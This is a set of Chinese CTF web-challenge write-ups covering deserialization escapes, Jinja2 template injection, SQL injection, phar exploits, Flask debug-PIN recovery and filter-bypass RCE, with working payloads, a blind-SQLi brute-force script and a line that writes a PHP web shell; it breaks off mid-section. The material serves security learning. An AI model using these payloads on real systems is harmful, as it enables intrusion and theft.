1 2 3 4 5 6 7 8 if ($function == 'highlight_file' ){ highlight_file ('index.php' ); }else if ($function == 'phpinfo' ){ eval ('phpinfo();' ); }else if ($function == 'show_image' ){ $userinfo = unserialize ($serialize_info ); echo file_get_contents (base64_decode ($userinfo ['img' ])); }
根据提示,检查phpinfo,发现提示文件d0g3_f1ag.php。
说明我们要改变f的值为show_image,用file_get_contents函数包含其文件。
发现最后包含的时候只解了一层base64。
1 2 3 4 5 if (!$_GET ['img_path' ]){ $_SESSION ['img' ] = base64_encode ('guest_img.png' ); }else { $_SESSION ['img' ] = sha1 (base64_encode ($_GET ['img_path' ])); }
所以在这里只能让img_path为空。
如果这题只简单地利用extract函数进行变量覆盖,传入d0g3_f1ag.php的base64值,会做不下去,因为extract后面紧跟着对$_SESSION[‘img’]值的重新覆盖操作。
所以要利用字符串逃逸。
在本地对源码稍作修改,观察没过滤前序列化代码的形式:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php $function = @$_GET ['f' ];if ($_SESSION ){ unset ($_SESSION ); } $_SESSION ["user" ] = 'guest' ;$_SESSION ['function' ] = $function ;extract ($_POST );if (!$_GET ['img_path' ]){ $_SESSION ['img' ] = base64_encode ('guest_img.png' ); }else { $_SESSION ['img' ] = sha1 (base64_encode ($_GET ['img_path' ])); } $serialize_info = (serialize ($_SESSION ));echo $serialize_info ;
POST传入:
1 _SESSION[user]=guest&_SESSION[function]=aaaaaaaaaaaaaaaaaaaaa&_SESSION[img]=ZDBnM19mMWFnLnBocA==
序列化代码:
1 a:3:{s:4:"user";s:5:"guest";s:8:"function";s:21:"aaaaaaaaaaaaaaaaaaaaa";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
思路是构造user的值,该值将被替换为空,使user的值往后吃若干位,直接把function成员给吃到它的值那边。
于是可以构造下列payload:
1 _SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}
flag将会被替换掉,留出来24个空,于是user的值开始向后吃,吃到a,紧接着凭空构造出的成员变量开始起作用,一个是img一个是dd,这两个刚好占满了。
所以成功反序列化,得到:flag in /d0g3_fllllllag
对’/d0g3_fllllllag’进行base64加密,payload:
1 _SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:2:"dd";s:1:"a";}
[WesternCTF2018]shrine 整理代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import flaskimport osapp = flask.Flask(__name__) app.config['FLAG' ] = os.environ.pop('FLAG' ) // 显示代码 @app.route('/' ) def index (): return open (__file__).read() @app.route('/shrine/' ) def shrine (shrine ): def safe_jinja (s ): s = s.replace('(' , '' ).replace(')' , '' ) blacklist = ['config' , 'self' ] return '' .join(['{{% set {}=None%}}' .format (c) for c in blacklist]) + s return flask.render_template_string(safe_jinja(shrine)) if __name__ == '__main__' : app.run(debug=True )
第二个路由提示要在**/shrine/**下提交参数,输入49,返回49,猜测是jinja2模板注入。
1 2 3 4 app = flask.Flask(__name__) app.config['FLAG' ] = os.environ.pop('FLAG' ) //flask模块生成了app ,在app的config内定义了FLAG参数,参数的值为os环境变量的FLAG值
config 对象:
config 对象就是Flask的config对象,也就是 app.config 对象。
输入:,可以看到里面的变量信息:current_app
payload:
{{url_for.__globals__['current_app'].config}}
[网鼎杯 2020 朱雀组]Nmap 跟之前做的一道题挺像,绕过arg与cmd函数,然后构造nmap的payload。
payload:
1 ' -iL /flag -oN flag.txt '
通过-iL将flag读取,通过-oN写入到flag.txt里面,然后直接查看。
[极客大挑战 2019] LoveSQL 查具体某个数据库中某个表中的某些栏:
1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'
查询具体数据:
1 union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23
[极客大挑战 2019] HardSQL 使用报错注入,在最后查询具体flag值时发现报错注入只能回显32位,便使用floor函数来读取右边的内容。
1 1'or(extractvalue(1,concat(0x7e,(select(right(password,20))from(H4rDsq1)),0x7e)))#
[GXYCTF2019]BabySQli 要点: 1.大小写可以绕过一些关键字的检测,例如:oRder
2.联合注入的特性,当查询的内容不存在时,自动在数据库每一列下面补入相应内容。
[CISCN 2019 初赛]Love Math PHP动态函数的性质:
可以让字符串做函数名,加上括号后可以当做函数执行。
所以要构造如下的形式:
中括号被ban,使用**{}**来代替
最终payload如下:
1 c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){cos})&pi=system&cos=cat /flag
分析:
base_convert(37907361743,10,36)(dechex(1598506324))
base_convert(37907361743,10,36)=>”hex2bin”,dechex(1598506324)=>”5f474554”,hex2bin(“5f474554”)=>_GET
($$pi){pi}(($$pi){cos})
即是需要构造的$_GET{pi}($_GET{cos})
形式。
[HNCTF 2022 WEEK2]easy_include 1.通过include函数,包含:/var/log/nginx/access.log
日志文件
2.用burp抓包,在ua头的后面附加上一句话木马
[SWPUCTF 2022 新生赛]file_master 1.学到了通过#define width/height 数值
来绕过文件内容宽度和高度的限制
[BSidesCF 2019]Kookie 考点:添加Cookie请求头内容为:username = admin
[BSidesCF 2019]Futurella flag在网页源代码里。。
[De1CTF 2019]SSRF Me 提示内容:flag在/flag.txt中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 from flask import Flaskfrom flask import requestimport socketimport hashlibimport urllibimport sysimport osimport jsonreload(sys) sys.setdefaultencoding('latin1' ) app = Flask(__name__) secert_key = os.urandom(16 ) class Task : def __init__ (self, action, param, sign, ip ): self.action = action self.param = param self.sign = sign self.sandbox = md5(ip) if (not os.path.exists(self.sandbox)): os.mkdir(self.sandbox) def Exec (self ): result = {} result['code' ] = 500 if (self.checkSign()): if "scan" in self.action: tmpfile = open ("./%s/result.txt" % self.sandbox, 'w' ) resp = scan(self.param) if (resp == "Connection Timeout" ): result['data' ] = resp else : print resp tmpfile.write(resp) tmpfile.close() result['code' ] = 200 if "read" in self.action: f = open ("./%s/result.txt" % self.sandbox, 'r' ) result['code' ] = 200 result['data' ] = f.read() if result['code' ] == 500 : result['data' ] = "Action Error" else : result['code' ] = 500 result['msg' ] = "Sign Error" return result def checkSign (self ): if (getSign(self.action, self.param) == self.sign): return True else : return False @app.route("/geneSign" , methods=['GET' , 'POST' ] ) def geneSign (): param = urllib.unquote(request.args.get("param" , "" )) action = "scan" return getSign(action, param) @app.route('/De1ta' , methods=['GET' , 'POST' ] ) def challenge (): action = urllib.unquote(request.cookies.get("action" )) param = urllib.unquote(request.args.get("param" , "" )) sign = urllib.unquote(request.cookies.get("sign" )) ip = request.remote_addr if (waf(param)): return "No Hacker!!!!" task = Task(action, param, sign, ip) return json.dumps(task.Exec()) @app.route('/' ) def index (): return open ("code.txt" , "r" ).read() def scan (param ): socket.setdefaulttimeout(1 ) try : return urllib.urlopen(param).read()[:50 ] except : return "Connection Timeout" def getSign (action, param ): return hashlib.md5(secert_key + param + action).hexdigest() def md5 (content ): return hashlib.md5(content).hexdigest() def waf (param ): check = param.strip().lower() if check.startswith("gopher" ) or check.startswith("file" ): return True else : return False if __name__ == '__main__' : app.debug = False app.run(host='0.0.0.0' , port=80 )
首先关注/De1ta
路由,它进行了一系列赋值操作,并实例化Task对象,使得Task对象里的__init__函数得以执行。
经过__init__的一系列赋值后,走到return json.dumps(task.Exec())
这一步,进入Exec()函数审计。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 def Exec (self ): result = {} result['code' ] = 500 if (self.checkSign()): if "scan" in self.action: tmpfile = open ("./%s/result.txt" % self.sandbox, 'w' ) resp = scan(self.param) if (resp == "Connection Timeout" ): result['data' ] = resp else : print resp tmpfile.write(resp) tmpfile.close() result['code' ] = 200 if "read" in self.action: f = open ("./%s/result.txt" % self.sandbox, 'r' ) result['code' ] = 200 result['data' ] = f.read() if result['code' ] == 500 : result['data' ] = "Action Error" else : result['code' ] = 500 result['msg' ] = "Sign Error" return result def checkSign (self ): if (getSign(self.action, self.param) == self.sign): return True else : return False
第一个if要求通过checkSign方法的检测。
即:在/De1ta路由中传入的sign必须要与getsign方法产生的签名一致。
观察getsign方法:
1 2 def getSign (action, param ): return hashlib.md5(secert_key + param + action).hexdigest()
secret_key不可知,但我们可以在/geneSign路由看到具体的签名结果。
但是在/geneSign路由中,action会被强制改为scan。
回到Exec方法:
我们如果通过了checkSign方法,走到下一步:
如果action中出现了scan,那么就把目标文件写到result.txt中,如果action中出现了read,就把这个result.txt给读出来。
所以我们既要触发scan又要触发read。
但是/getsign路由中action被锁死为scan了。
绕过方法:
在/De1ta路由中传入
1 Cookie: action=readscan;sign=??
sign要怎么得到呢,即可在/geneSign路由中传参:
妙处在于action虽然被锁死成scan,但是param是可控的,我们在后面多加上一个read,便可获取跟De1ta里面一模一样的签名,
获得签名之后再输回De1ta中,得到flag。
[第五空间 2021]yet_another_mysql_injection 1.在源代码中发现提交?source参数可以得到源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <?php include_once ("lib.php" );function alertMes ($mes ,$url ) { die ("<script>alert('{$mes} ');location.href='{$url} ';</script>" ); } function checkSql ($s ) { if (preg_match ("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i" ,$s )){ alertMes ('hacker' , 'index.php' ); } } if (isset ($_POST ['username' ]) && $_POST ['username' ] != '' && isset ($_POST ['password' ]) && $_POST ['password' ] != '' ) { $username =$_POST ['username' ]; $password =$_POST ['password' ]; if ($username !== 'admin' ) { alertMes ('only admin can login' , 'index.php' ); } checkSql ($password ); $sql ="SELECT password FROM users WHERE username='admin' and password='$password ';" ; $user_result =mysqli_query ($con ,$sql ); $row = mysqli_fetch_array ($user_result ); if (!$row ) { alertMes ("something wrong" ,'index.php' ); } if ($row ['password' ] === $password ) { die ($FLAG ); } else { alertMes ("wrong password" ,'index.php' ); } } if (isset ($_GET ['source' ])){ show_source (__FILE__ ); die ; } ?>
如果在user表中关于password字段的查询内容跟输入的password变量一致,便可以得到flag,所以我们要得到正确的password。
知识点:
sql中的通配符为:%
,所以可以构造如下的payload:
1 password=1'or/**/password/**/like/**/'(某个字符)%'#
使用python脚本进行爆破:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import requestsurl = 'http://node4.anna.nssctf.cn:28181/index.php' flag = '' k = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ' payload = {"username" :"admin" , "password" :"" } while (1 ): for i in k: payload['password' ] = f"1'or/**/password/**/like/**/'{flag+i} %'#" html = requests.post(url = url, data = payload) if 'wrong password' in html.text: flag += i print (flag) break
[第五空间 2021]EasyCleanup Session文件上传配合上python脚本进行条件竞争。
[UUCTF 2022 新生赛]ez_upload 一种Apache解析漏洞,当上传的文件名为:muma.jpg.php
,既可以绕过后缀的检测,又可以正常当成php文件进行解析。
[NISACTF 2022]join-us 1.使用报错注入,用||
替换or,在payload中写入select * from aa
,会使其数据库名随着错误的表名一起爆出来。
2.column被ban,无法通过正常的方法得知列名,于是使用无列名注入的办法。
union被ban掉,无法使用基于union的方法直接获取表中的第x列。
使用基于join语句的办法,通过将两个相同表的列名合并,但是join不允许合并的两个表中有相同的列名,因此通过报错得到列名
获取列名payload:
1 1'|| extractvalue(1,concat('~',(select * from (select * from output a join output)c),'~'))%23
得到列名:data
最终利用mid函数获取完整的flag:
1 1'||extractvalue(0,concat(0x7e,mid((select data from output),1,20)))%23
1 1'||extractvalue(0,concat(0x7e,mid((select data from output),20,40)))%23
[NSSRound#4 SWPU]1zweb 一道phar反序列化题目。
在查看文件一栏中查看index.php,得到源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php class LoveNss { public $ljt ; public $dky ; public $cmd ; public function __construct ( ) { $this ->ljt="ljt" ; $this ->dky="dky" ; phpinfo (); } public function __destruct ( ) { if ($this ->ljt==="Misc" &&$this ->dky==="Re" ) eval ($this ->cmd); } public function __wakeup ( ) { $this ->ljt="Re" ; $this ->dky="Misc" ; } } $file =$_POST ['file' ];if (isset ($_POST ['file' ])){ echo file_get_contents ($file ); }
发现有反序列化漏洞的代码,但是没有找到unserialize函数,接着去查看upload.php,得到源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php if ($_FILES ["file" ]["error" ] > 0 ){ echo "上传异常" ; } else { $allowedExts = array ("gif" , "jpeg" , "jpg" , "png" ); $temp = explode ("." , $_FILES ["file" ]["name" ]); $extension = end ($temp ); if (($_FILES ["file" ]["size" ] && in_array ($extension , $allowedExts ))){ $content =file_get_contents ($_FILES ["file" ]["tmp_name" ]); $pos = strpos ($content , "__HALT_COMPILER();" ); if (gettype ($pos )==="integer" ){ echo "ltj一眼就发现了phar" ; }else { if (file_exists ("./upload/" . $_FILES ["file" ]["name" ])){ echo $_FILES ["file" ]["name" ] . " 文件已经存在" ; }else { $myfile = fopen ("./upload/" .$_FILES ["file" ]["name" ], "w" ); fwrite ($myfile , $content ); fclose ($myfile ); echo "上传成功 ./upload/" .$_FILES ["file" ]["name" ]; } } }else { echo "dky不喜欢这个文件 ." .$extension ; } } ?>
能看出涉及到了phar反序列化漏洞。
有一个检测点:文件内容不能出现=__HALT_COMPILER();
,这个是Phar的文件标识:Stub。
先利用第一个exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php class LoveNss { public $ljt ; public $dky ; public $cmd ; public function __construct ( ) { $this ->ljt = "Misc" ; $this ->dky = "Re" ; $this ->cmd = 'system($_POST[0]);' ; } } $o = new LoveNss ();$phar = new Phar ("phar.phar" ); $phar ->startBuffering ();$phar ->setStub ("<?php __HALT_COMPILER(); ?>" ); $o = new LoveNss ();$phar ->setMetadata ($o ); $phar ->addFromString ("test.txt" , "test" ); $phar ->stopBuffering ();
生成出phar.phar文件,再将其后缀改为png。
为了绕过wakeup方法,将其送入010editor,把成员数量由3改成4,保存后送入下一个exp:
1 2 3 4 5 6 7 8 9 10 11 12 from hashlib import sha1import gzipwith open ('phar.png' , 'rb' ) as file: f = file.read() s = f[:-28 ] h = f[-8 :] new_file = s + sha1(s).digest() + h f_gzip = gzip.GzipFile("1.png" , "wb" ) f_gzip.write(new_file) f_gzip.close()
作用有两个:
1.在010修改过phar文件之后,其数字签名会失效,需要用这个脚本重新获取签名。
2.通过gzip压缩的方式,使=__HALT_COMPILER();
消失,但不影响正常的使用。
最后将文件上传,搭配上phar伪协议进行执行,拿到flag。
[SWPUCTF 2021 新生赛]hardrce_3 使用自增payload:
1 %24_%3D%5B%5D%3B%24_%3D%40%22%24_%22%3B%24_%3D%24_%5B%27!%27%3D%3D%27%40%27%5D%3B%24___%3D%24_%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24____%3D%27_%27%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24_%3D%24%24____%3B%24___(%24_%5B_%5D)%3B //assert($_POST[_]);
使用file_put_contents函数写一个带有一句话木马的文件再进行连接。
1 _=file_put_contents('99.php','<?php eval($_POST["k"]);');
[SUCTF 2019]Pythonginx 源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 @app.route('/getUrl' , methods=['GET' , 'POST' ] ) def getUrl (): url = request.args.get("url" ) host = parse.urlparse(url).hostname if host == 'suctf.cc' : return "我扌 your problem? 111" parts = list (urlsplit(url)) host = parts[1 ] if host == 'suctf.cc' : return "我扌 your problem? 222 " + host newhost = [] for h in host.split('.' ): newhost.append(h.encode('idna' ).decode('utf-8' )) parts[1 ] = '.' .join(newhost) finalUrl = urlunsplit(parts).split(' ' )[0 ] host = parse.urlparse(finalUrl).hostname if host == 'suctf.cc' : return urllib.request.urlopen(finalUrl).read() else : return "我扌 your problem? 333"
目标是:return urllib.request.urlopen(finalUrl).read()
,我们需要绕过三个if的检测,最终利用这个语句去读取flag。
即:在前两次检测中,我们输入的host不能是suctf.cc
,但最后一次经过idna编码和utf-8解码后,host要变成suctf.cc
。
法一 :
利用如下脚本,寻找可用的字符进行替换,绕过if检测:
1 2 3 4 5 6 7 8 9 chars = ['s' , 'u' , 'c' , 't' , 'f' ] for c in chars: for i in range (0x7f , 0x10FFFF ): try : char_i = chr (i).encode('idna' ).decode('utf-8' ) if char_i == c: print ('ASCII: {} Unicode: {} Number: {}' .format (c, chr (i), i)) except : pass
比如拿到字符:Ⓤ
,这个经过idna编码和utf-8解码后会变成u,满足要求。
访问如下的目录:
1 /usr/local/nginx/conf/nginx.conf
看到注释内容:
1 # location /flag { # alias /usr/fffffflag; # } }
知晓了flag位置,即可获取。
法二:
payload:
在本地断点测试会发现在第一个获取host的语句:host = urlparse(url).hostname
中,host为Null。
接着通过代码看一个原理:
1 2 3 4 5 6 7 8 9 10 11 from urllib.parse import urlsplit,urlunsplit, unquotefrom urllib import parseurl = "file:////def" parts = parse.urlsplit(url) print (parts)url2 = urlunsplit(parts) parts2 = parse.urlsplit(url2) print (parts2)
输出:
1 2 SplitResult(scheme='file', netloc='', path='//def', query='', fragment='') SplitResult(scheme='file', netloc='def', path='', query='', fragment='')
在经过urlunsplit函数之后,//def出现在了列表中的第二个位置,且变成了def。
利用这个特点可以绕过第二个和第三个if。
[GYCTF2020]FlaskApp 法一:
先用以下payload读取app.py上的源码:
1 {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read()}}{% endif %}{% endfor %}
使用python的字符拼接绕过对关键字的过滤:
1 {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}
接着用同样的方法对flag进行读取:
1 {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read()}}{% endif %}{% endfor %}
法二:
在解码的页面中随意输入会进入flask框架的debug模式,在任意一行Traceback中点击可以进入一个上锁的终端,需要正确的pin码来进行解锁。
要得知pin码需要知道以下六个信息:
1 2 3 4 5 6 1、flask所登录的用户名 2、modname 3、getattr(app, “name”, app.class.name)。一般为Flask 4、flask库下app.py的绝对路径。这个可以由报错信息看出 5、当前网络的mac地址的十进制数。 6、机器的id。
1.通过读取/etc/passwd来获取:
1 {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/etc/passwd','r').read() }}{% endif %}{% endfor %}
2.默认为:flask.app
3.默认为:Flask
4.在debug页面中可以看到app.py的绝对路径
5.读取/sys/class/net/eth0/address
,拿到后要先去掉:
,然后进行进制转换,例如:
1 print(int('76ef88ded162',16))
6.linux的id一般存放在/etc/machine-id
或/proc/sys/kernel/random/boot_i
对于docker机则读取/proc/self/cgroup
,其中第一行的/docker/字符串后面的内容作为机器的id
或是读取/etc/machine-id
最后利用脚本,输出获得的pin码,在终端进行RCE。
1 os.popen('cat /this_is_the_flag.txt').read()
[0CTF 2016]piapiapia 发现www.zip有压缩包文件泄露,打开看。
文件中发现有个register.php,变去网站查看该路由,并注册账号。
登录之后根据index.php中的源码:
1 2 3 4 5 if ($user ->login ($username , $password )) { $_SESSION ['username' ] = $username ; header ('Location: profile.php' ); exit ; }
来到了profile.php路由。
根据源码:
1 2 3 if ($profile == null ) { header ('Location: update.php' ); }
我们还没有上传profile,其变量是为空的,来到了update.php路由。
这里有个更新的表格,根据源码,如果我们填的信息都通过了检测,则会:$user->update_profile($username, serialize($profile));
它吧$profile变量进行序列化塞进update_profile方法中。
这个$user在class.php中,关注源码:
1 2 3 4 5 6 7 public function update_profile ($username , $new_profile ) { $username = parent ::filter ($username ); $new_profile = parent ::filter ($new_profile ); $where = "username = '$username '" ; return parent ::update ($this ->table, 'profile' , $new_profile , $where ); }
调用了父类的filter方法:
1 2 3 4 5 6 7 8 9 public function filter ($string ) { $escape = array ('\'' , '\\\\' ); $escape = '/' . implode ('|' , $escape ) . '/' ; $string = preg_replace ($escape , '_' , $string ); $safe = array ('select' , 'insert' , 'update' , 'delete' , 'where' ); $safe = '/' . implode ('|' , $safe ) . '/i' ; return preg_replace ($safe , 'hacker' , $string ); }
重点:
序列化代码中where
会被替换成hacker
,多一个字符,由于序列化代码是先生成,后被替换,所以会往下“吃”后面自己构造的序列化代码,由此可以实现反序列化逃逸。
目标:
利用逃逸原理,在nickname字段后面添自己构造的photo字段,最终在profile.php路由中完成文件的包含,读取config.php中的flag。
重点2:
1 2 if (preg_match ('/[^a-zA-Z0-9_]/' , $_POST ['nickname' ]) || strlen ($_POST ['nickname' ]) > 10 ) die ('Invalid nickname' );
将nickname以数组的形式传入,使得preg_match返回0,绕过检测。
构造payload:
1 nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
重点3:
为什么payload中第一个s前面要加上}
提前闭合呢?
看例子:
1 2 3 4 5 6 7 <?php $profile = array ('' );$profile ['phone' ] = 1 ;$profile ['email' ] = 1 ;$profile ['nickname' ] = '1' ;$profile ['photo' ] = 1 ;echo (serialize ($profile ));
输出:
1 a:5:{i:0;s:0:"";s:5:"phone";i:1;s:5:"email";i:1;s:8:"nickname";s:1:"1";s:5:"photo";i:1;}
如果nickname用数组的形式传入时:
1 2 3 4 5 6 7 <?php $profile = array ('' );$profile ['phone' ] = 1 ;$profile ['email' ] = 1 ;$profile ['nickname' ] = ['1' ];$profile ['photo' ] = 1 ;echo (serialize ($profile ));
输出:
1 a:5:{i:0;s:0:"";s:5:"phone";i:1;s:5:"email";i:1;s:8:"nickname";a:1:{i:0;s:1:"1";}s:5:"photo";i:1;}
多了一个大括号,所以payload中要把数组引起的大括号给先闭合。
打完payload之后进入profile.php中进行查看,发现config.php的base64内容已经加载到源码里了,读取拿flag
[FBCTF2019]RCEService 怪题网上没一个wp能知道源码是怎么来的。
源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php putenv ('PATH=/home/rceservice/jail' );if (isset ($_REQUEST ['cmd' ])) { $json = $_REQUEST ['cmd' ]; if (!is_string ($json )) { echo 'Hacking attempt detected<br/><br/>' ; } elseif (preg_match ('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/' , $json )) { echo 'Hacking attempt detected<br/><br/>' ; } else { echo 'Attempting to run command:<br/>' ; $cmd = json_decode ($json , true )['cmd' ]; if ($cmd !== NULL ) { system ($cmd ); } else { echo 'Invalid input' ; } echo '<br/><br/>' ; } } ?>
法一: 因为preg_match
只能匹配第一行,所以这里可以采用多行绕过。
payload形式:`